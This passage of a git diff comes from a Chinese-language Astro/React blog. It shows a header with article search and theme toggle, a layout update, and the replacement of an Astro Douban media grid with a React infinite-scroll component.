<h4 className="text-sm font-medium text-gray-900 dark:text-gray-100 group-hover:text-primary-600 dark:group-hover:text-primary-400"
|
||||||
|
dangerouslySetInnerHTML={{ __html: highlightText(article.title, searchQuery) }}
|
||||||
|
></h4>
|
||||||
|
|
||||||
|
{article.summary && (
|
||||||
|
<p className="mt-1 text-xs text-gray-500 dark:text-gray-400 line-clamp-1"
|
||||||
|
dangerouslySetInnerHTML={{ __html: highlightText(article.summary, searchQuery) }}
|
||||||
|
></p>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{article.tags && article.tags.length > 0 && (
|
||||||
|
<div className="mt-2 flex items-center flex-wrap gap-1">
|
||||||
|
{article.tags.slice(0, 3).map(tag => (
|
||||||
|
<span key={tag} className="inline-block text-2xs px-1.5 py-0.5 bg-gray-100 dark:bg-gray-700/70 text-gray-600 dark:text-gray-400 rounded">
|
||||||
|
{tag}
|
||||||
|
</span>
|
||||||
|
))}
|
||||||
|
{article.tags.length > 3 && (
|
||||||
|
<span className="text-xs text-gray-400 dark:text-gray-500">
|
||||||
|
+{article.tags.length - 3}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</a>
|
||||||
|
</li>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</ul>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
|
// 准备样式类
|
||||||
|
const headerBgClasses = `absolute inset-0 bg-gray-50/95 dark:bg-dark-bg/95 ${
|
||||||
|
scrolled ? 'scrolled' : ''
|
||||||
|
}`;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<header className="fixed w-full top-0 z-50" id="main-header">
|
||||||
|
<div className={headerBgClasses} id="header-bg"></div>
|
||||||
|
<nav className="relative">
|
||||||
|
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
|
||||||
|
<div className="flex justify-between h-16">
|
||||||
|
{/* Logo 部分 */}
|
||||||
|
<div className="flex items-center">
|
||||||
|
<a href="/" className="text-xl md:text-2xl font-bold tracking-tight bg-gradient-to-r from-primary-600 to-primary-400 bg-clip-text text-transparent hover:from-primary-500 hover:to-primary-300 dark:from-primary-400 dark:to-primary-200 dark:hover:from-primary-300 dark:hover:to-primary-100">
|
||||||
|
{SITE_NAME}
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* 导航链接 */}
|
||||||
|
<div className="hidden md:flex md:items-center md:space-x-8">
|
||||||
|
{/* 桌面端搜索框 */}
|
||||||
|
<div className="relative">
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
id="desktop-search"
|
||||||
|
ref={desktopSearchRef}
|
||||||
|
className="w-48 pl-10 pr-4 py-1.5 rounded-full text-sm text-gray-700 dark:text-gray-200 placeholder-gray-500 dark:placeholder-gray-400 bg-gray-50/80 dark:bg-gray-800/60 border border-gray-200/60 dark:border-gray-700/40 focus:outline-none focus:ring-1 focus:ring-primary-400 dark:focus:ring-primary-500 focus:bg-white dark:focus:bg-gray-800 focus:border-primary-300 dark:focus:border-primary-600"
|
||||||
|
placeholder="搜索文章..."
|
||||||
|
onFocus={() => {
|
||||||
|
setDesktopSearchFocused(true);
|
||||||
|
fetchArticles();
|
||||||
|
}}
|
||||||
|
onChange={(e) => debouncedSearch(e.target.value)}
|
||||||
|
/>
|
||||||
|
<div className="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
|
||||||
|
<svg className="h-4 w-4 text-gray-400 dark:text-gray-500" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
||||||
|
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
|
||||||
|
</svg>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* 搜索结果容器 */}
|
||||||
|
<div
|
||||||
|
ref={desktopResultsRef}
|
||||||
|
className={`absolute top-full left-0 right-0 mt-2 max-h-80 overflow-y-auto rounded-lg bg-white/95 dark:bg-gray-800/95 shadow-md border border-gray-200/70 dark:border-gray-700/70 backdrop-blur-sm z-50 ${
|
||||||
|
desktopSearchFocused ? '' : 'hidden'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
{renderSearchResults()}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* 导航链接 */}
|
||||||
|
{NAV_LINKS.map((link) => (
|
||||||
|
<a
|
||||||
|
key={link.href}
|
||||||
|
href={link.href}
|
||||||
|
className={`inline-flex items-center px-1 pt-1 text-sm font-medium ${
|
||||||
|
normalizedPath === (link.href === '/' ? '' : link.href)
|
||||||
|
? 'text-primary-600 dark:text-primary-400 border-b-2 border-primary-600 dark:border-primary-400'
|
||||||
|
: 'text-secondary-600 dark:text-secondary-400 hover:text-primary-600 dark:hover:text-primary-400 hover:border-b-2 hover:border-primary-300 dark:hover:border-primary-700'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
{link.text}
|
||||||
|
</a>
|
||||||
|
))}
|
||||||
|
<ThemeToggle />
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* 移动端菜单按钮 */}
|
||||||
|
<div className="flex items-center md:hidden">
|
||||||
|
{/* 移动端搜索按钮 */}
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="inline-flex items-center justify-center p-2 rounded-md text-secondary-400 dark:text-secondary-500 hover:text-secondary-500 dark:hover:text-secondary-400 hover:bg-secondary-100 dark:hover:bg-dark-card focus:outline-none focus:ring-2 focus:ring-inset focus:ring-primary-500 mr-2"
|
||||||
|
aria-expanded={mobileSearchOpen}
|
||||||
|
aria-label="搜索"
|
||||||
|
onClick={() => {
|
||||||
|
setMobileSearchOpen(true);
|
||||||
|
setTimeout(() => {
|
||||||
|
mobileSearchRef.current?.focus();
|
||||||
|
}, 100);
|
||||||
|
fetchArticles();
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<span className="sr-only">搜索</span>
|
||||||
|
<svg className="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
||||||
|
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
|
||||||
|
</svg>
|
||||||
|
</button>
|
||||||
|
|
||||||
|
{/* 移动端菜单按钮 */}
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="inline-flex items-center justify-center p-2 rounded-md text-secondary-400 dark:text-secondary-500 hover:text-secondary-500 dark:hover:text-secondary-400 hover:bg-secondary-100 dark:hover:bg-dark-card focus:outline-none focus:ring-2 focus:ring-inset focus:ring-primary-500"
|
||||||
|
id="mobile-menu-button"
|
||||||
|
aria-expanded={mobileMenuOpen}
|
||||||
|
aria-label="打开菜单"
|
||||||
|
onClick={() => setMobileMenuOpen(!mobileMenuOpen)}
|
||||||
|
>
|
||||||
|
<span className="sr-only">打开菜单</span>
|
||||||
|
{mobileMenuOpen ? (
|
||||||
|
<svg className="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
||||||
|
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M6 18L18 6M6 6l12 12" />
|
||||||
|
</svg>
|
||||||
|
) : (
|
||||||
|
<svg className="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
||||||
|
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M4 6h16M4 12h16M4 18h16" />
|
||||||
|
</svg>
|
||||||
|
)}
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* 移动端搜索面板 */}
|
||||||
|
{mobileSearchOpen && (
|
||||||
|
<div className="md:hidden fixed inset-x-0 top-16 p-4 bg-white dark:bg-gray-800 shadow-md z-50 border-t border-gray-200 dark:border-gray-700 show">
|
||||||
|
<div className="relative">
|
||||||
|
<input
|
||||||
|
type="text"
|
||||||
|
ref={mobileSearchRef}
|
||||||
|
className="w-full pl-10 pr-10 py-2 rounded-full text-sm text-gray-700 dark:text-gray-200 placeholder-gray-500 dark:placeholder-gray-400 bg-gray-50/80 dark:bg-gray-800/60 border border-gray-200/60 dark:border-gray-700/40 focus:outline-none focus:ring-1 focus:ring-primary-400 dark:focus:ring-primary-500 focus:bg-white dark:focus:bg-gray-800 focus:border-primary-300 dark:focus:border-primary-600"
|
||||||
|
placeholder="搜索文章..."
|
||||||
|
onChange={(e) => debouncedSearch(e.target.value)}
|
||||||
|
/>
|
||||||
|
<div className="absolute inset-y-0 left-0 pl-3 flex items-center pointer-events-none">
|
||||||
|
<svg className="h-5 w-5 text-gray-400 dark:text-gray-500" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
||||||
|
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z" />
|
||||||
|
</svg>
|
||||||
|
</div>
|
||||||
|
<button
|
||||||
|
className="absolute inset-y-0 right-0 pr-3 flex items-center text-gray-400 hover:text-gray-600 dark:hover:text-gray-300"
|
||||||
|
aria-label="关闭搜索"
|
||||||
|
onClick={() => setMobileSearchOpen(false)}
|
||||||
|
>
|
||||||
|
<svg className="h-5 w-5" fill="none" viewBox="0 0 24 24" stroke="currentColor" aria-hidden="true">
|
||||||
|
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth="2" d="M6 18L18 6M6 6l12 12" />
|
||||||
|
</svg>
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{/* 移动端搜索结果 */}
|
||||||
|
<div className={`mt-3 max-h-80 overflow-y-auto rounded-lg bg-white/95 dark:bg-gray-800/95 shadow-md border border-gray-200/70 dark:border-gray-700/70 backdrop-blur-sm ${searchQuery ? '' : 'hidden'}`}>
|
||||||
|
{renderSearchResults()}
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* 移动端菜单 */}
|
||||||
|
{mobileMenuOpen && (
|
||||||
|
<div className="md:hidden fixed inset-x-0 top-16 z-40" id="mobile-menu">
|
||||||
|
<div className="backdrop-blur-[6px] bg-white/80 dark:bg-gray-800/80 shadow-md">
|
||||||
|
<div className="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-2">
|
||||||
|
<div className="grid gap-1">
|
||||||
|
{NAV_LINKS.map((link) => (
|
||||||
|
<a
|
||||||
|
key={link.href}
|
||||||
|
href={link.href}
|
||||||
|
className={`flex items-center px-3 py-3 rounded-lg text-base font-medium ${
|
||||||
|
normalizedPath === (link.href === '/' ? '' : link.href)
|
||||||
|
? 'text-white bg-primary-600 dark:bg-primary-500 shadow-sm'
|
||||||
|
: 'text-gray-700 dark:text-gray-200 hover:bg-gray-100 dark:hover:bg-gray-800/70'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
{link.text}
|
||||||
|
</a>
|
||||||
|
))}
|
||||||
|
<div
|
||||||
|
className="mt-2 pt-3 border-t border-gray-200 dark:border-gray-700 flex items-center justify-between cursor-pointer hover:bg-gray-100 dark:hover:bg-gray-800/70 rounded-lg px-3 py-2"
|
||||||
|
onClick={(e) => {
|
||||||
|
const themeToggleButton = e.currentTarget.querySelector('[role="button"]');
|
||||||
|
const target = e.target as HTMLElement;
|
||||||
|
if (themeToggleButton instanceof HTMLElement && target !== themeToggleButton && !themeToggleButton.contains(target)) {
|
||||||
|
themeToggleButton.click();
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
<span className="text-sm font-medium text-gray-600 dark:text-gray-300">切换主题</span>
|
||||||
|
<ThemeToggle />
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</nav>
|
||||||
|
</header>
|
||||||
|
);
|
||||||
|
}
|
@ -1,7 +1,7 @@
|
|||||||
---
|
---
|
||||||
import "@/styles/global.css";
|
import "@/styles/global.css";
|
||||||
import Header from "@/components/Header.astro";
|
import Header from "@/components/Header.tsx";
|
||||||
import Footer from "@/components/Footer.astro";
|
import {Footer} from "@/components/Footer.tsx";
|
||||||
import { ICP, PSB_ICP, PSB_ICP_URL, SITE_NAME, SITE_DESCRIPTION } from "@/consts";
|
import { ICP, PSB_ICP, PSB_ICP_URL, SITE_NAME, SITE_DESCRIPTION } from "@/consts";
|
||||||
|
|
||||||
// 定义Props接口
|
// 定义Props接口
|
||||||
@ -55,21 +55,29 @@ const { title = SITE_NAME, description = SITE_DESCRIPTION, date, author, tags, i
|
|||||||
<meta property="article:tag" content={tag} />
|
<meta property="article:tag" content={tag} />
|
||||||
))}
|
))}
|
||||||
<script is:inline>
|
<script is:inline>
|
||||||
// 立即执行主题初始化
|
// 立即执行主题初始化,并防止变量重复声明
|
||||||
const theme = (() => {
|
(function() {
|
||||||
if (typeof localStorage !== 'undefined' && localStorage.getItem('theme')) {
|
// 检查变量是否已存在
|
||||||
return localStorage.getItem('theme');
|
if (typeof window.__themeInitDone === 'undefined') {
|
||||||
|
// 设置标志,表示初始化已完成
|
||||||
|
window.__themeInitDone = true;
|
||||||
|
|
||||||
|
const theme = (() => {
|
||||||
|
if (typeof localStorage !== 'undefined' && localStorage.getItem('theme')) {
|
||||||
|
return localStorage.getItem('theme');
|
||||||
|
}
|
||||||
|
if (window.matchMedia('(prefers-color-scheme: dark)').matches) {
|
||||||
|
return 'dark';
|
||||||
|
}
|
||||||
|
return 'light';
|
||||||
|
})();
|
||||||
|
document.documentElement.dataset.theme = theme;
|
||||||
}
|
}
|
||||||
if (window.matchMedia('(prefers-color-scheme: dark)').matches) {
|
|
||||||
return 'dark';
|
|
||||||
}
|
|
||||||
return 'light';
|
|
||||||
})();
|
})();
|
||||||
document.documentElement.dataset.theme = theme;
|
|
||||||
</script>
|
</script>
|
||||||
</head>
|
</head>
|
||||||
<body class="m-0 w-full h-full bg-gray-50 dark:bg-dark-bg transition-colors duration-300 flex flex-col min-h-screen">
|
<body class="m-0 w-full h-full bg-gray-50 dark:bg-dark-bg flex flex-col min-h-screen">
|
||||||
<Header />
|
<Header client:load/>
|
||||||
<main class="pt-16 flex-grow">
|
<main class="pt-16 flex-grow">
|
||||||
<slot />
|
<slot />
|
||||||
</main>
|
</main>
|
||||||
|
@ -1,202 +0,0 @@
|
|||||||
---
|
|
||||||
interface Props {
|
|
||||||
type: 'movie' | 'book';
|
|
||||||
title: string;
|
|
||||||
doubanId: string;
|
|
||||||
}
|
|
||||||
|
|
||||||
const { type, title, doubanId } = Astro.props;
|
|
||||||
// Generate unique IDs for this specific instance of the component
|
|
||||||
const uniquePrefix = `media-${type}`;
|
|
||||||
const mediaListId = `${uniquePrefix}-list`;
|
|
||||||
const loadingId = `${uniquePrefix}-loading`;
|
|
||||||
const endMessageId = `${uniquePrefix}-end-message`;
|
|
||||||
---
|
|
||||||
|
|
||||||
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-8">
|
|
||||||
<h1 class="text-3xl font-bold mb-6">{title}</h1>
|
|
||||||
|
|
||||||
<div id={mediaListId} class="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-4 lg:grid-cols-5 gap-4">
|
|
||||||
<!-- 内容将通过JS动态加载 -->
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div id={loadingId} class="text-center py-8">
|
|
||||||
<div class="inline-block h-8 w-8 animate-spin rounded-full border-4 border-solid border-current border-r-transparent align-[-0.125em] motion-reduce:animate-[spin_1.5s_linear_infinite]"></div>
|
|
||||||
<p class="mt-2 text-gray-600">加载更多...</p>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div id={endMessageId} class="text-center py-8 hidden">
|
|
||||||
<p class="text-gray-600">已加载全部内容</p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<script define:vars={{ type, doubanId, mediaListId, loadingId, endMessageId }}>
|
|
||||||
// Create a class with scoped methods instead of using global functions and variables
|
|
||||||
class MediaLoader {
|
|
||||||
constructor(type, doubanId, mediaListId, loadingId, endMessageId) {
|
|
||||||
this.type = type;
|
|
||||||
this.doubanId = doubanId;
|
|
||||||
this.mediaListId = mediaListId;
|
|
||||||
this.loadingId = loadingId;
|
|
||||||
this.endMessageId = endMessageId;
|
|
||||||
this.currentPage = 1;
|
|
||||||
this.isLoading = false;
|
|
||||||
this.hasMoreContent = true;
|
|
||||||
this.itemsPerPage = 15; // 豆瓣每页显示的数量
|
|
||||||
this.scrollHandler = this.handleScroll.bind(this);
|
|
||||||
}
|
|
||||||
|
|
||||||
async fetchMedia(page = 1, append = false) {
|
|
||||||
if (this.isLoading || (!append && !this.hasMoreContent)) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
this.isLoading = true;
|
|
||||||
this.showLoading(true);
|
|
||||||
|
|
||||||
const start = (page - 1) * this.itemsPerPage;
|
|
||||||
try {
|
|
||||||
const response = await fetch(`/api/douban?type=${this.type}&start=${start}&doubanId=${this.doubanId}`);
|
|
||||||
if (!response.ok) {
|
|
||||||
throw new Error(`获取${this.type === 'movie' ? '电影' : '图书'}数据失败`);
|
|
||||||
}
|
|
||||||
|
|
||||||
const data = await response.json();
|
|
||||||
this.renderMedia(data.items, append);
|
|
||||||
|
|
||||||
// 更新分页状态
|
|
||||||
this.currentPage = data.pagination.current;
|
|
||||||
this.hasMoreContent = data.pagination.hasNext;
|
|
||||||
|
|
||||||
if (!this.hasMoreContent) {
|
|
||||||
this.showEndMessage(true);
|
|
||||||
}
|
|
||||||
} catch (error) {
|
|
||||||
const mediaList = document.getElementById(this.mediaListId);
|
|
||||||
if (mediaList && !append) {
|
|
||||||
mediaList.innerHTML = '<div class="col-span-full text-center text-red-500">获取数据失败,请稍后再试</div>';
|
|
||||||
}
|
|
||||||
} finally {
|
|
||||||
this.isLoading = false;
|
|
||||||
this.showLoading(false);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
renderMedia(items, append = false) {
|
|
||||||
const mediaList = document.getElementById(this.mediaListId);
|
|
||||||
if (!mediaList) return;
|
|
||||||
|
|
||||||
if (!items || items.length === 0) {
|
|
||||||
if (!append) {
|
|
||||||
mediaList.innerHTML = `<div class="col-span-full text-center">暂无${this.type === 'movie' ? '电影' : '图书'}数据</div>`;
|
|
||||||
}
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
const mediaHTML = items.map(item => `
|
|
||||||
<div class="bg-white rounded-lg overflow-hidden shadow-md hover:shadow-xl transition-shadow duration-300">
|
|
||||||
<div class="relative pb-[150%] overflow-hidden">
|
|
||||||
<img src="${item.imageUrl}" alt="${item.title}" class="absolute top-0 left-0 w-full h-full object-cover transition-transform duration-300 hover:scale-105">
|
|
||||||
<div class="absolute bottom-0 left-0 right-0 p-3 bg-gradient-to-t from-black/80 to-transparent">
|
|
||||||
<h3 class="font-bold text-white text-sm line-clamp-2">
|
|
||||||
<a href="${item.link}" target="_blank" class="hover:text-blue-300 transition-colors">${item.title}</a>
|
|
||||||
</h3>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
`).join('');
|
|
||||||
|
|
||||||
if (append) {
|
|
||||||
mediaList.innerHTML += mediaHTML;
|
|
||||||
} else {
|
|
||||||
mediaList.innerHTML = mediaHTML;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
showLoading(show) {
|
|
||||||
const loading = document.getElementById(this.loadingId);
|
|
||||||
if (loading) {
|
|
||||||
if (show) {
|
|
||||||
loading.classList.remove('hidden');
|
|
||||||
} else {
|
|
||||||
loading.classList.add('hidden');
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
showEndMessage(show) {
|
|
||||||
const endMessage = document.getElementById(this.endMessageId);
|
|
||||||
if (endMessage) {
|
|
||||||
endMessage.classList.toggle('hidden', !show);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
setupInfiniteScroll() {
|
|
||||||
// 添加滚动事件
|
|
||||||
window.addEventListener('scroll', this.scrollHandler);
|
|
||||||
|
|
||||||
// 初始检查一次,以防内容不足一屏
|
|
||||||
setTimeout(() => this.handleScroll(), 500);
|
|
||||||
}
|
|
||||||
|
|
||||||
handleScroll() {
|
|
||||||
if (this.isLoading || !this.hasMoreContent) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
const scrollY = window.scrollY;
|
|
||||||
const windowHeight = window.innerHeight;
|
|
||||||
const documentHeight = document.documentElement.scrollHeight;
|
|
||||||
|
|
||||||
// 当滚动到距离底部300px时加载更多
|
|
||||||
if (scrollY + windowHeight >= documentHeight - 300) {
|
|
||||||
this.fetchMedia(this.currentPage + 1, true);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
cleanup() {
|
|
||||||
// 移除滚动事件监听器
|
|
||||||
window.removeEventListener('scroll', this.scrollHandler);
|
|
||||||
}
|
|
||||||
|
|
||||||
initialize() {
|
|
||||||
this.fetchMedia(1, false).then(() => {
|
|
||||||
this.setupInfiniteScroll();
|
|
||||||
}).catch(err => {
|
|
||||||
// 错误已在fetchMedia中处理
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// 存储每个页面创建的媒体加载器,用于清理
|
|
||||||
if (!window.mediaLoaders) {
|
|
||||||
window.mediaLoaders = {};
|
|
||||||
}
|
|
||||||
|
|
||||||
// 创建并初始化媒体加载器
|
|
||||||
function initMediaLoader() {
|
|
||||||
// 清理可能存在的旧实例
|
|
||||||
if (window.mediaLoaders[mediaListId]) {
|
|
||||||
window.mediaLoaders[mediaListId].cleanup();
|
|
||||||
}
|
|
||||||
|
|
||||||
const loader = new MediaLoader(type, doubanId, mediaListId, loadingId, endMessageId);
|
|
||||||
window.mediaLoaders[mediaListId] = loader;
|
|
||||||
loader.initialize();
|
|
||||||
}
|
|
||||||
|
|
||||||
// 页面首次加载
|
|
||||||
document.addEventListener('astro:swup:page:view', initMediaLoader);
|
|
||||||
|
|
||||||
// 页面卸载前清理
|
|
||||||
document.addEventListener('astro:before-swap', () => {
|
|
||||||
if (window.mediaLoaders[mediaListId]) {
|
|
||||||
window.mediaLoaders[mediaListId].cleanup();
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
// 如果已经加载了 DOM,立即初始化
|
|
||||||
if (document.readyState === 'complete' || document.readyState === 'interactive') {
|
|
||||||
initMediaLoader();
|
|
||||||
}
|
|
||||||
</script>
|
|
359
src/components/MediaGrid.tsx
Normal file
359
src/components/MediaGrid.tsx
Normal file
@ -0,0 +1,359 @@
|
|||||||
|
import React, { useEffect, useRef, useState } from 'react';
|
||||||
|
|
||||||
|
interface MediaGridProps {
|
||||||
|
type: 'movie' | 'book';
|
||||||
|
title: string;
|
||||||
|
doubanId: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface MediaItem {
|
||||||
|
title: string;
|
||||||
|
imageUrl: string;
|
||||||
|
link: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
interface PaginationInfo {
|
||||||
|
current: number;
|
||||||
|
hasNext: boolean;
|
||||||
|
}
|
||||||
|
|
||||||
|
const MediaGrid: React.FC<MediaGridProps> = ({ type, title, doubanId }) => {
|
||||||
|
const [items, setItems] = useState<MediaItem[]>([]);
|
||||||
|
const [isLoading, setIsLoading] = useState(false);
|
||||||
|
const [hasMoreContent, setHasMoreContent] = useState(true);
|
||||||
|
const [currentPage, setCurrentPage] = useState(1);
|
||||||
|
const [error, setError] = useState<string | null>(null);
|
||||||
|
const itemsPerPage = 15;
|
||||||
|
const mediaListRef = useRef<HTMLDivElement>(null);
|
||||||
|
const lastScrollTime = useRef(0);
|
||||||
|
|
||||||
|
// 使用ref来跟踪关键状态,避免闭包问题
|
||||||
|
const stateRef = useRef({
|
||||||
|
isLoading: false,
|
||||||
|
hasMoreContent: true,
|
||||||
|
currentPage: 1,
|
||||||
|
error: null as string | null
|
||||||
|
});
|
||||||
|
|
||||||
|
// 封装fetch函数但不使用useCallback以避免依赖循环
|
||||||
|
const fetchMedia = async (page = 1, append = false) => {
|
||||||
|
// 使用ref中的最新状态
|
||||||
|
if (stateRef.current.isLoading ||
|
||||||
|
(!append && !stateRef.current.hasMoreContent) ||
|
||||||
|
(append && !stateRef.current.hasMoreContent)) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 更新状态和ref
|
||||||
|
setIsLoading(true);
|
||||||
|
stateRef.current.isLoading = true;
|
||||||
|
|
||||||
|
// 只在首次加载时清除错误
|
||||||
|
if (!append) {
|
||||||
|
setError(null);
|
||||||
|
stateRef.current.error = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
const start = (page - 1) * itemsPerPage;
|
||||||
|
try {
|
||||||
|
const response = await fetch(`/api/douban?type=${type}&start=${start}&doubanId=${doubanId}`);
|
||||||
|
if (!response.ok) {
|
||||||
|
// 解析响应内容,获取详细错误信息
|
||||||
|
let errorMessage = `获取${type === 'movie' ? '电影' : '图书'}数据失败`;
|
||||||
|
try {
|
||||||
|
const errorData = await response.json();
|
||||||
|
if (errorData && errorData.error) {
|
||||||
|
errorMessage = errorData.error;
|
||||||
|
if (errorData.message) {
|
||||||
|
errorMessage += `: ${errorData.message}`;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
// 无法解析JSON,使用默认错误信息
|
||||||
|
}
|
||||||
|
|
||||||
|
// 针对不同错误提供更友好的提示
|
||||||
|
if (response.status === 403) {
|
||||||
|
errorMessage = "豆瓣接口访问受限,可能是请求过于频繁,请稍后再试";
|
||||||
|
} else if (response.status === 404) {
|
||||||
|
// 对于404错误,如果是追加模式,说明已经到了最后一页,设置hasMoreContent为false
|
||||||
|
if (append) {
|
||||||
|
setHasMoreContent(false);
|
||||||
|
stateRef.current.hasMoreContent = false;
|
||||||
|
setIsLoading(false);
|
||||||
|
stateRef.current.isLoading = false;
|
||||||
|
return; // 直接返回,不设置错误,不清空已有数据
|
||||||
|
} else {
|
||||||
|
errorMessage = "未找到相关内容,请检查豆瓣ID是否正确";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 设置错误状态和ref
|
||||||
|
setError(errorMessage);
|
||||||
|
stateRef.current.error = errorMessage;
|
||||||
|
|
||||||
|
// 只有非追加模式才清空数据
|
||||||
|
if (!append) {
|
||||||
|
setItems([]);
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error(errorMessage);
|
||||||
|
}
|
||||||
|
|
||||||
|
const data = await response.json();
|
||||||
|
|
||||||
|
if (data.items.length === 0) {
|
||||||
|
// 如果返回的项目为空,则认为已经没有更多内容
|
||||||
|
setHasMoreContent(false);
|
||||||
|
stateRef.current.hasMoreContent = false;
|
||||||
|
if (!append) {
|
||||||
|
setItems([]);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if (append) {
|
||||||
|
setItems(prev => {
|
||||||
|
const newItems = [...prev, ...data.items];
|
||||||
|
return newItems;
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
setItems(data.items);
|
||||||
|
}
|
||||||
|
// 更新页码状态和ref
|
||||||
|
setCurrentPage(data.pagination.current);
|
||||||
|
stateRef.current.currentPage = data.pagination.current;
|
||||||
|
|
||||||
|
// 更新是否有更多内容的状态和ref
|
||||||
|
const newHasMoreContent = data.pagination.hasNext;
|
||||||
|
setHasMoreContent(newHasMoreContent);
|
||||||
|
stateRef.current.hasMoreContent = newHasMoreContent;
|
||||||
|
}
|
||||||
|
} catch (error) {
|
||||||
|
// 只有在非追加模式下才清空已加载的内容
|
||||||
|
if (!append) {
|
||||||
|
setItems([]);
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
// 重置加载状态
|
||||||
|
setIsLoading(false);
|
||||||
|
stateRef.current.isLoading = false;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// 处理滚动事件
|
||||||
|
const handleScroll = () => {
|
||||||
|
// 获取关键滚动值
|
||||||
|
const scrollY = window.scrollY;
|
||||||
|
const windowHeight = window.innerHeight;
|
||||||
|
const documentHeight = document.documentElement.scrollHeight;
|
||||||
|
const scrollPosition = scrollY + windowHeight;
|
||||||
|
const threshold = documentHeight - 300;
|
||||||
|
|
||||||
|
// 限制滚动日志频率,每秒最多输出一次
|
||||||
|
const now = Date.now();
|
||||||
|
if (now - lastScrollTime.current < 1000) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
lastScrollTime.current = now;
|
||||||
|
|
||||||
|
// 使用ref中的最新状态来检查
|
||||||
|
if (stateRef.current.isLoading || !stateRef.current.hasMoreContent || stateRef.current.error) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 当滚动到距离底部300px时加载更多
|
||||||
|
if (scrollPosition >= threshold) {
|
||||||
|
fetchMedia(stateRef.current.currentPage + 1, true);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// 更新ref值以跟踪状态变化
|
||||||
|
useEffect(() => {
|
||||||
|
stateRef.current.isLoading = isLoading;
|
||||||
|
}, [isLoading]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
stateRef.current.hasMoreContent = hasMoreContent;
|
||||||
|
}, [hasMoreContent]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
stateRef.current.currentPage = currentPage;
|
||||||
|
}, [currentPage]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
stateRef.current.error = error;
|
||||||
